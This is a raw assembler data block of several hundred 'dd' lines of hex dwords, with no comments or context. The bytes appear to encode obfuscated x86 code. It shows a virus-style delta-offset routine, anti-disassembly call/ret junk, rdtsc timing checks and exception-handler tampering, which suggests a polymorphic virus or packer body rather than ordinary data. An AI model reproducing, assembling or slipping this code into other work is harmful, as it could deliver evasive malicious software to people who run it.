		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0AE9907Bh, 1000000h, 9D2D9295h, 573ABD29h
		dd 0B5858B7Dh, 6A062B1Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0F311C356h,	0C38EF0C7h
		dd 86D9D8Bh, 8533062Bh,	62B258Dh, 26298589h, 6690062Bh
		dd 0E950FB8Bh, 12h, 9B1523FEh, 0E2D1D925h, 0FDEABFF2h
		dd 36A5EC56h, 6A90EBA8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0C63BC353h,	0E69FF97Fh
		dd 6AE0A6h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Dh,	0CAC35242h, 45450B3Dh, 0CDD5CBDFh, 512F6854h, 0FB8B2B63h
		dd 0D0243481h, 662B7C52h, 26F2EB81h, 91D95FFh, 6A062Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0C4B9ADC3h, 85896131h, 62EB5B0h, 1E20BF66h, 2A3E9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 69961BAEh, 0F62536D8h, 219D8B66h, 60062B0Fh
		dd 0FE8h, 0DF62F500h, 1AE488CEh, 0BBC9704h, 0D098DBFAh
		dd 26299D29h, 5658062Bh, 0A913BB66h, 858B6158h,	62EB5A8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0E5C35343h
		dd 92F890F7h, 0E82DE7B2h, 0Ah, 0C7111E3h, 93F10CA1h, 0F6038C2h
		dd 9D8BD2BFh, 62B2959h,	0B5895F61h, 62B196Dh, 1800C7h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0D2E721C3h, 6DBD8B7Eh, 52062B20h,	17E59589h
		dd 8B5B062Bh, 2EB5ACB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 89E25E7Ch, 2840F91h, 0B3000000h
		dd 0C5858B45h, 8A062B16h, 6A0689FCh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 471FC357h
		dd 76C0FA0Eh, 0EEC38166h, 0B5858BF6h, 6A062B1Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 3935C352h, 9D2BB8C3h, 62B0509h, 0F9AF09BFh, 4468917h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1EC35747h
		dd 0B8255867h, 800FED76h, 4, 0FBE9BB66h, 28B0Fh, 0FA8A0000h
		dd 24348950h, 2A319D89h, 0B5FF062Bh, 62EB5A8h, 0E3816651h
		dd 0E95BA371h, 11h, 5D09780Fh, 87C59BF5h, 1C93CB9Dh, 0CDE2FA20h
		dd 4E82Bh, 3FF0000h, 6E8001Fh, 0A0000000h, 0B857CF8Bh
		dd 2810F98h, 0B3000000h, 60505F96h, 8B61F78Ah, 0E9042444h
		dd 0Dh,	0E6D6D686h, 0E0E596FFh,	4E186BE7h, 0E8008B7Ch
		dd 0Ch,	4CCCE34Ah, 0E2279755h, 0FDD3E278h, 10E9h, 0A292C800h
		dd 3164EF0Eh, 0C0C87901h, 1928B634h, 44895F2Bh,	10E80424h
		dd 0DE000000h, 0BDC82CC5h, 89FD2F43h, 6713D27Ah, 0E9805577h
		dd 0Bh,	10254001h, 1F14ECB7h, 5FAE6D1Ah, 0B0858D58h, 89062EB5h
		dd 2B019595h, 0BF669006h, 8B50CD75h, 890F90D9h,	16h, 11E9h
		dd 6C90CB00h, 0AB23D44Dh, 0E89F1B7Dh, 85651462h, 95FF4A98h
		dd 62B091Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	73C35141h, 0BD8B591Ah, 62B0BF9h, 0D9D8B61h, 0C7062B1Dh
		dd 2B2BE585h, 306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 5E4D9E88h, 0FA8C22C1h
		dd 0FE8B6h, 66FD0000h, 3D8F60A6h, 214DB3FEh, 28676EF1h
		dd 0DF8B6690h, 7CA8BB5Fh, 0BD8360BBh, 62EB5B0h,	55840F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0CB96C353h, 0B01EF392h, 8D29B314h
		dd 62B07E9h, 0B718589h,	3CE9062Bh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 4B2C352h, 3C56CD6Fh,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 89C08B00h, 2B1E89BDh, 98F0F06h, 60000000h
		dd 1ABE6160h, 6121390Dh, 2BE5BD83h, 0F03062Bh, 41085h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0FF827CDh, 2956FBB7h, 2B1721B5h,	0BD835B06h
		dd 62EB5B0h, 0DA840F00h, 9000003h, 2B2C058Dh, 0A917BB06h
		dd 0B5FF7B07h, 62EB5B0h, 0D3816657h, 0FF5BE9B9h, 2B017595h
		dd 0A4B58B06h, 66062EB5h, 0D6C8EF81h, 106C7h, 0E9600001h
		dd 0Bh,	0D631D376h, 4F4E3D9Fh, 8105A9A2h, 0ACD63DE3h, 57966168h
		dd 9202BF66h, 0F60505Bh, 83h, 61D88B00h, 0C7816696h, 0BD8B07A8h
		dd 62B1831h, 0B5B0B5FFh, 820F062Eh, 6, 17358589h, 95FF062Bh
		dd 62B1555h, 27519529h,	0B58B062Bh, 62EB5A4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 9C35141h, 14E9h
		dd 0F0020E00h, 70E52673h, 64E622Ah, 79C0E39Eh, 0D2B27F39h
		dd 47D7BF9Bh, 858B581Dh, 62B1AD9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 7C35040h, 0A3439183h, 0B5B660BEh
		dd 196D8589h, 0E861062Bh, 6, 0D6C50C3h,	858909BBh, 62B3031h
		dd 0C486895Fh, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 32F3C350h, 0D9A1C3F0h
		dd 559D8B55h, 8B062B00h, 0E1958BDAh, 6A062B0Eh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0BDEC355h, 0DB8021ACh, 0AE91Ah, 0DDDB0000h, 0CCC44E90h
		dd 0E8F6AF7Fh, 6A04C283h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 3B3AC357h, 64B6C89Fh
		dd 0FE92F8Eh, 0D2000000h, 0A095BFA3h, 6E177D8Fh, 0E12E6BEDh
		dd 5089D047h, 0B5B58920h, 8D062B0Dh, 2ECA4E85h,	2850F06h
		dd 0B3000000h, 8922B3C8h, 0B886h, 0D59D0300h, 6A062B11h
		dd 0A19D0100h, 0FF062B1Dh, 2EB5B0B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 44830CEBh, 1691BD33h, 8D89062Bh, 62B1581h
		dd 5E195FFh, 0BD89062Bh, 62B2F79h, 4880F50h, 66000000h
		dd 893B29BFh, 9D8B2434h, 62B1739h, 0B5B0B5FFh, 6A062Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 1073FAC3h, 8E2A84D5h, 0BE9F5D5h, 0DC000000h,	89833F7Fh
		dd 8B6269B0h, 95FF1301h, 62B1569h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0B7C35141h,	90AEEB67h, 818E1E49h
		dd 3DE8B4Ah, 2B29819Dh,	9DBD8306h, 62B1Dh, 48840Fh, 0BF660000h
		dd 535006C0h, 5FF88B66h, 6A243489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C0DC357h
		dd 0BEC0F29Dh, 8A60F7E1h, 0FE9CEh, 76E90000h, 0E17062ACh
		dd 44F57C71h, 0FEB8DD33h, 0B5FF6100h, 62EB5B0h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0E4C35747h, 0CF938C11h
		dd 0FFB21D4Fh, 2B2E1195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0CFFC2211h
		dd 62BB663Eh, 0B0B5FFE0h, 6A062EB5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A065C350h
		dd 9D8BE0FFh, 62B1F21h,	240D95FFh, 0BF66062Bh, 0BD83C16Dh
		dd 62B2E29h, 42840F02h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 9C76C351h
		dd 858BFEE4h, 62B2B39h,	8E8h, 44A5CA00h, 0A95526E3h, 0ED9D8BF6h
		dd 5F062B2Eh, 660000C6h, 0F380DF8Bh, 2585C7A5h,	62B09h
		dd 0E9000000h, 0Dh, 8B917B3Ch, 1FBFCD4Eh, 5BB1BF1Fh, 0F1A0E9F8h
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B589A9C3h, 62B2F61h, 0BF66C18Bh,	0BD8BA593h
		dd 62B06CDh, 2FC1858Dh,	26BB062Bh, 90730CBAh, 50FE8B66h
		dd 0FABF0F90h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0A93604C3h, 6A2BA051h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0E98D638Fh, 0F4352E37h, 0EF858DDFh, 6A06303Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 2628C353h, 7AA39FDCh, 0C0831454h, 21858905h,	90062B00h
		dd 28A0F50h, 0B3000000h, 0BD8B900Fh, 62B2639h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 1F6DC5C3h, 543B39FDh, 0BF79E9F7h, 2B45FFBDh,	0FFFC006Ah
		dd 2B34E195h, 0AA8D8D06h, 29062EA6h, 2B1BA185h,	66D1FF06h
		dd 835F01BFh, 2B0A01BDh, 850F0106h, 93h, 0E9D9D8Bh, 9501062Bh
		dd 62B1EC1h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 5ACAE6C3h, 10E8C1h, 0FE760000h
		dd 0FE2C7336h, 0E3155B2Ch, 2DC3B01h, 665F04A6h,	895FB1BFh
		dd 2B1E5185h, 0E9509006h, 0Ch, 140B6638h, 5BBFA92Ch, 0FDF6EABEh
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0B0133577h, 61CC6673h, 245F45BBh, 0E195FF3Bh
		dd 66062B05h, 0E90317BFh, 0DB6h, 0E8h, 0ED815D00h, 6303BF9h
		dd 2A6DBD8Bh, 8166062Bh, 8DB5F2CFh, 2E993A85h, 3DBB6606h
		dd 0A5858913h, 90062B10h, 7E85250h, 29000000h, 5CDD6FD4h
		dd 0FB8B2752h, 50310F5Fh, 95BF6652h, 66310F73h,	5A8690BBh
		dd 50585A58h, 0E990D98Bh, 0Ah, 2EDA9009h, 2BEBD2A2h, 0FF64AD97h
		dd 35h,	0E98D8900h, 64062B0Bh, 2589h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C4D5D0C3h, 8A3CCDCDh, 0FFF98AF9h, 2B1E0D85h, 69BD8B06h
		dd 6A062B27h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0CDB5FF8Fh, 3062B0Eh, 2B33259Dh
		dd 0A995FF06h, 0E9062B11h, 178h, 13E9h,	7C1BFC00h, 93C4B3C7h
		dd 0BDB3EE27h, 2D60D44Ch, 0DA614D73h, 0F98B00B0h, 8B6670E6h
		dd 0E971E4FAh, 11h, 281070CBh, 0E609F23h, 7F4DF9BDh, 9CE95066h
		dd 0F613CC1h, 13783h, 0E1950900h, 0F062B2Eh, 9D8BC8B6h
		dd 62B0D89h, 6BAh, 35BD0300h, 8B062B24h, 958B60C1h, 62B0A59h
		dd 0CE0BA66h, 0F19D0361h, 0C1062B0Fh, 9D8904E8h, 62B1BD9h
		dd 0EF816653h, 665BC0E5h, 5B51E2F7h, 0BB66C82Bh, 0D18B92ECh
		dd 19B501h, 0E1E9062Bh,	8B000000h, 2B24159Dh, 7E806h, 3A100000h
		dd 4D1EA6ACh, 6880FDEh,	0F000000h, 82h,	858B5F00h, 505F4C4Ch
		dd 0C5958B60h, 0F062B1Eh, 68Eh,	0DDC88100h, 613157EFh
		dd 0E907C083h, 14h, 0EB35DFEFh,	0C0761524h, 16F73B12h
		dd 0CCF4845Fh, 0A160B80Fh, 2900C083h, 2B156D9Dh, 0FD03B06h
		dd 0E83h, 27CF8000h, 166D9D8Bh,	6DE9062Bh, 8B000000h, 0FFFFFF8Dh
		dd 14E8FFh, 80BD0000h, 519AA68h, 6E119693h, 0EDC05747h
		dd 0DE72981Dh, 5E9DE2Eh, 5D000000h, 9C053D6h, 1E1835Fh
		dd 3A840Fh, 8D890000h, 62B18B5h, 0FFFFA583h, 0E9FEFFFFh
		dd 9, 5D3CA49h,	8DE953F5h, 4C958987h, 60505F4Ch, 0AE9h
		dd 1AAA4B00h, 23DA2F8Ah, 805DE391h, 0E961E1DBh,	0
		dd 0B04FB58Dh, 8D89062Fh, 62B0661h, 0B70F006Ah,	4595FFDEh
		dd 6A062B29h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 3A06C353h, 0E15F99C2h,	806EB5C6h
		dd 0BD8B33E7h, 62B2CC5h, 100BB9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 8A8CD25Dh
		dd 15958901h, 83062B27h, 0BD2BFCE1h, 62B0079h, 0C78166FCh
		dd 820F90A0h, 0Bh, 6E9h, 75E10C00h, 2BC7D246h, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 8B663875h, 0BAF9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 9A9108C3h, 10E9h, 0F94B0200h
		dd 2D7EED53h, 0E7467071h, 2C13EE1h, 0C233AD59h,	0D003E8D1h
		dd 7504E983h, 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 6AF8CD73h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 5D58C353h, 7D4FAF4Eh
		dd 1AE1B589h, 880D062Bh, 60000000h, 0DBB70FFCh,	8E961h
		dd 0C33E0000h, 812417h,	958BB93Dh, 62B0EE1h, 0B46CBB66h
		dd 21E18D8Bh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0E195B6C3h, 0E1B5891Ch, 0E9062B2Bh
		dd 11h,	82D179E8h, 4937BA97h, 0D6A9F5BBh, 0CD1F7DC7h, 0C28B5086h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 89D7C353h, 2B154995h, 17800F06h, 0E9000000h,	12h, 38B3FB58h
		dd 60328312h, 30AAB95Bh, 2701571Eh, 0B529C83Ch,	62B348Dh
		dd 5A9BD83h, 0F00062Bh,	6684h, 0D3816600h, 0FE9010Ch, 73000000h
		dd 82996FD0h, 0FCDD4F8Fh, 73EC4410h, 0B8BD62h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 7BD3C355h, 406561FEh, 0E92A9319h,	5, 0B6F82430h
		dd 0A18D8DD4h, 23062B4Eh, 2B0219BDh, 89E1FF06h,	2B2CA18Dh
		dd 8DBD8B06h, 83062B24h, 2B2BE5BDh, 840F0006h, 40Fh, 1DA5BD8Bh
		dd 0BD83062Bh, 62B2BE5h, 17840F01h, 6A000004h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 3F88C350h, 0DC98D89h, 0BD2B062Bh, 62B0A81h, 2BE5BD83h
		dd 0F03062Bh, 3AB86h, 7D8D3100h, 60062B35h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 37C35040h, 17EF372h
		dd 2B0981B5h, 0D98C6606h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 97C35646h, 126C7F9h, 80035060h, 6A04E1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0D51C96C3h, 0B5E3A968h, 0BF665759h, 0C90A5A3Ch, 0E0840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 14E9E9C3h, 0ED000000h, 9D5BB442h,	10D8237h
		dd 0B504F03Dh, 92D76BD4h, 8BB41C67h, 2B1EB585h,	0EF816606h
		dd 8533F65Ch, 62B258Dh,	14E9h, 5014500h, 6D439BCBh, 0EE143D7Dh
		dd 0E39645C2h, 405D2238h, 0BF6650E1h, 489D804h,	0C5BD8924h
		dd 89062B26h, 2B21B5B5h, 0F006A06h, 6368D9B7h, 660C908Bh
		dd 3481FA8Bh, 8F889C24h, 55006A0Ch, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 744705D5h, 0F815AE16h
		dd 14E8h, 0B619FD00h, 78C72B3Bh, 63606A91h, 0D570B66Ch
		dd 0CF16A764h, 819D2928h, 5B062B29h, 0FFDBB70Fh, 2B091D95h
		dd 89F88B06h, 2EB5B085h, 1C3E906h, 858B0000h, 62EB5A8h
		dd 1800C7h, 66500000h, 8B5BD98Bh, 2EB5ACB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 46B38904h, 8BB5F7F0h, 2B16C585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0ADF3B73Dh
		dd 815D6186h, 3BA51DE3h, 6A06891Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 1FDC350h
		dd 13672F8Dh, 24159D8Bh, 858B062Bh, 62B1EB5h, 89DAB70Fh
		dd 6A0446h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 868286C3h, 15B3AC88h, 24348950h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AC35545h, 85AA7CD0h
		dd 0BF66AE57h, 8B60BD1Dh, 2B1C6985h, 4ECE8106h,	6168C8DEh
		dd 0B5A8B5FFh, 6A062Eh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0D8012EC3h, 5BF7E65Eh, 55BD8BF6h
		dd 8B062B2Bh, 2B11199Dh, 0F7646806h, 0DD8A2729h, 9B243481h
		dd 2B2736F4h, 2B09359Dh, 0B0858D06h, 0E8062EB5h, 10h, 0F2626671h
		dd 0A766DC3Fh, 93189638h, 0D37B163Bh, 0CF99D8Bh, 505F062Bh
		dd 310F5250h, 585ADD8Ah, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 53FEC350h
		dd 2D85BD89h, 95FF062Bh, 62B091Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 8BC35141h, 814288ECh, 0ED8D01B6h
		dd 89062B2Eh, 2B15E19Dh, 6A6106h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0BCB146C3h, 8D89911Dh
		dd 62B2BA9h, 6860Fh, 9D8B0000h,	62B0555h, 0BB9B531h, 85C7062Bh
		dd 62B2BE5h, 3,	959D8Bh, 0BD83062Bh, 62EB5B0h, 2D840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8B4CC357h, 2B1F859Dh, 21E906h
		dd 0BF0F0000h, 0DF8B66DFh, 110C3050h, 1114400h,	3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0FC08B00h, 9D0BF9B7h, 62B0E01h, 2BE5BD83h
		dd 0F03062Bh, 48085h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0CBABC179h, 3E299CD1h
		dd 68A0F59h, 81000000h,	0A075E0CBh, 0B0BD8310h,	62EB5h
		dd 443840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8BA1FDC3h, 2B26C99Dh, 0FFB70F06h
		dd 915BD89h, 0B5FF062Bh, 62EB5B0h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 63C35040h, 81661B0Ch, 0FFC7DBDFh
		dd 2B017595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 12C07615h, 5E93Bh, 2E9D0000h, 8BF68523h
		dd 2EB5A4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0B70F3DDEh, 9E9DAh, 0E3E0000h, 9EE75DB3h
		dd 0C7152892h, 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0AEEDC35Ch, 16CB8122h
		dd 506B9821h, 80F8BF66h, 0FC243489h, 0B5B0B5FFh
		dd 6A062Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 250583C3h, 98E0F03h, 0F000000h, 38Dh, 0FBB70F00h
		dd 155595FFh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66B9F9C3h, 0B58BFE8Bh, 62EB5A4h
		dd 91858960h, 61062B2Ch, 1AD9858Bh, 8689062Bh, 0C4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DC35040h, 80609CD2h
		dd 0BF6628C3h, 958BFE6Eh, 62B0EE1h, 1BF9BD8Bh, 0C283062Bh
		dd 5089F504h, 35BD8B20h, 8D062B27h, 2ECA4E85h, 0EF816606h
		dd 86897087h, 0B8h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 6CC35040h, 89CCCB98h,	2B25E19Dh, 6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0A931C355h, 708B33CAh, 13E850h, 0C61A0000h
		dd 2D468678h, 0BDD3A2C9h, 0BAF0F3ACh, 5A5CE57Ah, 1BD2323h
		dd 5F062B26h, 0B5B0B5FFh, 6A062Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 38B77CC3h, 0BFB8D006h
		dd 6A3FCC38h, 5E195FFh,	8B57062Bh, 2B1E4D9Dh, 0BF505F06h
		dd 86C71B5h, 6A243489h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 41F1C353h, 9F280C22h
		dd 0F5633F1Fh, 0B5B0B5FFh, 6A062Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 99442BC3h
		dd 13E888B9h, 8A000000h, 0C2B1D42Bh, 874DF11Eh,	92921D5h
		dd 0F1E5E19Ch, 0BD8BC06Ah, 62B2B41h, 359D895Fh,	0FF062B1Bh
		dd 2B156995h, 14860F06h, 0E8000000h, 8,	6083085Ch, 9824D082h
		dd 1BA1BD89h, 835B062Bh, 2B1D9DBDh, 840F0006h, 2Fh, 96FAB70Fh
		dd 0F4BF6650h, 66505B12h, 967414BBh, 14E9h, 80FE3800h
		dd 0A40182E3h, 0CB96FDAAh, 0B01EF392h, 9163B314h, 0D5BD8BA3h
		dd 0FF062B19h, 2EB5B0B5h, 9D896006h, 62B08C5h, 1195FF61h
		dd 6A062B2Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 6681C351h, 0B5FFFB8Bh,	62EB5B0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 3DC35141h
		dd 0A7DE880h, 3860FD9h,	66000000h, 95FFFB8Bh, 62B240Dh
		dd 0CBB9BB66h, 14E960h,	6AA30000h, 0B750342Ah, 7072DACh
		dd 647B8181h, 0A44FE0FDh, 8361F1E8h, 2B2E29BDh,	840F0206h
		dd 57h,	789BD8Bh, 858B062Bh, 62B2B39h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0C35545h, 6810Fh, 8D890000h
		dd 62B19DDh, 6A0000C6h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 667DC350h, 0C7F547BFh
		dd 2B092585h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 224C83D4h, 20C07429h
		dd 0F2FDE9F5h, 9D89FFFFh, 62B2A3Dh, 8953C18Bh, 2B0D7985h
		dd 858D5F06h, 62B2FC1h,	50DE8B66h, 8E852h, 64170000h, 1720AF19h
		dd 0AE99A3Bh, 49000000h, 6A9CFC09h, 0C03223CDh,	895B5FFEh
		dd 85892404h, 62B0871h,	9E9h, 155A8600h, 99CCFECCh, 6A0471h
		dd 1FC9BD0Bh, 6A062Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0CAC35242h, 345E36F3h, 4DBD8BE4h, 8D062B0Bh
		dd 304B9F85h, 0B1BD8B06h, 83062B26h, 9D8905C0h,	62B3431h
		dd 0E561E381h, 5050528Bh, 52310F52h, 5A5B6160h,	24048958h
		dd 0BFFFBF0Fh, 524CCE28h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0F37889C3h, 99F7F7Ch
		dd 2B0C4D85h, 9D8B5706h, 62B152Dh, 6A006A5Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0A7E5C352h, 597134F1h, 0F525FFCBh, 0FFDF8B66h, 2B34E195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 3F598D53h, 816619FDh, 8D9311F3h,	2EA6AA8Dh
		dd 8E806h, 0ED3A0000h, 4BF87FBFh, 8B66CB1Fh, 0D1FF5BDEh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 3BC35343h
		dd 7D9D23F8h, 83062B1Eh, 2B0A01BDh, 850F0106h, 83h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 91C35545h, 9D8B026Ah
		dd 62B3029h, 11E950h, 15740000h, 213421C6h, 0D7A225DAh
		dd 2D68C943h, 8965C12Bh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0D91DF4C3h, 67455DD9h
		dd 0E195FF09h, 6A062B05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E994C350h,	0C8Bh
		dd 0E8h, 0ED815D00h, 6304BA9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 5CC35343h, 0F2EC1B2h, 9D8BFBB7h
		dd 62B0A3Dh, 993A858Dh,	0DE9062Eh, 8B000000h, 8A4BC507h
		dd 55D77416h, 8A9BA460h, 13E890h, 8150000h, 0BA764FC2h
		dd 0CD444F80h, 91B50B4Dh, 4C1612BDh, 0AE867h, 0DBD60000h
		dd 57ADA74h, 8CDD9FB6h,	7F0F0BBBh, 505B5F0Dh, 4CFB85BBh
		dd 6A9001h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 758AC8C3h, 0F983311h, 0FF64DBB7h,	35h, 0D3816600h
		dd 896459CBh, 25h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0ED0F271Ah, 9D5BB442h
		dd 0D85FFF9h, 6A062B1Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8992C356h, 2B0EA985h
		dd 0FFFF6A06h, 2B0D45B5h, 3820F06h, 80000000h, 95FFEFCFh
		dd 62B11A9h, 105E9h, 1EB8000h, 0BF6600B0h, 70E6A94Dh, 5BD0960h
